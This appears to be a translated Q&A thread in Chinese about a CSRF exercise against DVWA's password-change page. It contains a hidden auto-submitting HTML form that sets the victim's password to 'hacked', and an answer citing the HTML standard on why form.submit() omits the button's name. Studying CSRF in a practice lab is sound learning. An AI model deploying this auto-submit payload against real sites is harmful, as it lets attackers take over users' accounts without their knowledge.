我正在尝试一个简单的 CSRF 攻击并遇到了一个问题。
如果我有一个包含此表单的虚拟站点:
<form action="somewebsitetoexploit.com/someformpage" method="GET" hidden>
<input type="password" autocomplete="off" name="password_new" value="hacked"><br>
<input type="password" autocomplete="off" name="password_conf" value="hacked">
<input type="submit" value="Change" name="Change">
</form>
Run Code Online (Sandbox Code Playgroud)
我最初的想法是通过submit在页面加载时在表单上调用脚本标记来让这个表单“自我提交”,以便在用户访问页面时自动更改用户密码:
<script>
window.onload = (_) => {
const form = document.getElementsByTagName("form")[0];
form.submit();
};
</script>
Run Code Online (Sandbox Code Playgroud)
这看起来有效,但密码未能更改。在查看 GET 参数时,我意识到这是因为它没有包含Change参数(提交按钮本身)。它产生了:
?password_new=hacked&password_conf=hacked
Run Code Online (Sandbox Code Playgroud)
代替:
?password_new=hacked&password_conf=hacked&Change=Change
Run Code Online (Sandbox Code Playgroud)
我猜这会导致它在后端的验证检查失败。
它看起来很笨拙,但我能够通过将其设置click为提交按钮而不是submit直接输入表单来修复它:
<script>
window.onload = (_) => {
const submit = document.getElementsByName("Change")[0];
submit.click();
};
</script>
Run Code Online (Sandbox Code Playgroud)
我查看了相关的MDN 页面,它指出调用submit与单击提交按钮有两个不同之处:
- 不
submit引发任何事件。特别是,表单的onsubmit事件处理程序不会运行。- 不触发约束验证。
目前还不清楚为什么onsubmit不触发会影响发送的 GET 参数,所以我不确定这是否相关。
显然,对于使用 GET 作为方法的表单,我可以手动构建带有查询参数的 URL,而不必担心有表单。不过,为了学习起见(如果我想在将来操作使用 POST 的表单),我想了解这里发生了什么。
我试图“攻击”的页面是 DVWA 的密码更改 CSRF 页面。
一个表单可以有多个提交按钮,具有不同的名称和/或值。
当您单击提交按钮并发生默认提交操作时,您单击的按钮的名称和值会在提交表单时包含在表单参数中。
当您调用该submit()方法时,没有关联的按钮单击,因此参数中将不包含按钮名称和值。如果表单有多个提交按钮,您希望它发送哪个按钮?
HTML 标准中指定了此行为:
调用时,submit()方法必须从表单元素本身提交表单元素,并设置从submit()方法提交的标志。
提交执行此处描述的许多步骤:
当从元素提交者(通常是按钮)提交表单元素表单时,可以选择设置从 Submit() 方法提交的标志集,用户代理必须运行以下步骤:
...
- 如果提交者是表单,则让 SubmitterButton 为 null。否则,让 SubmitterButton 为提交者。
...
- 令条目列表为使用表单、提交者和编码构造条目列表的结果。
条目列表最终会产生类似 的字符串?password_new=hacked&password_conf=hacked。
如果通过按按钮(手动或以编程方式)提交表单,submitter则设置为按钮,因此条目列表包含按钮。
如果使用 提交表单.submit(),submitter则设置为表单,因此submitterButton设置为空,因此条目列表中不包含它。
条目列表的构造会跳过以下按钮submitter:
对于控件中的每个元素字段,按树顺序:
如果以下任一情况为真:
字段元素是一个按钮,但它不是提交者。
然后继续。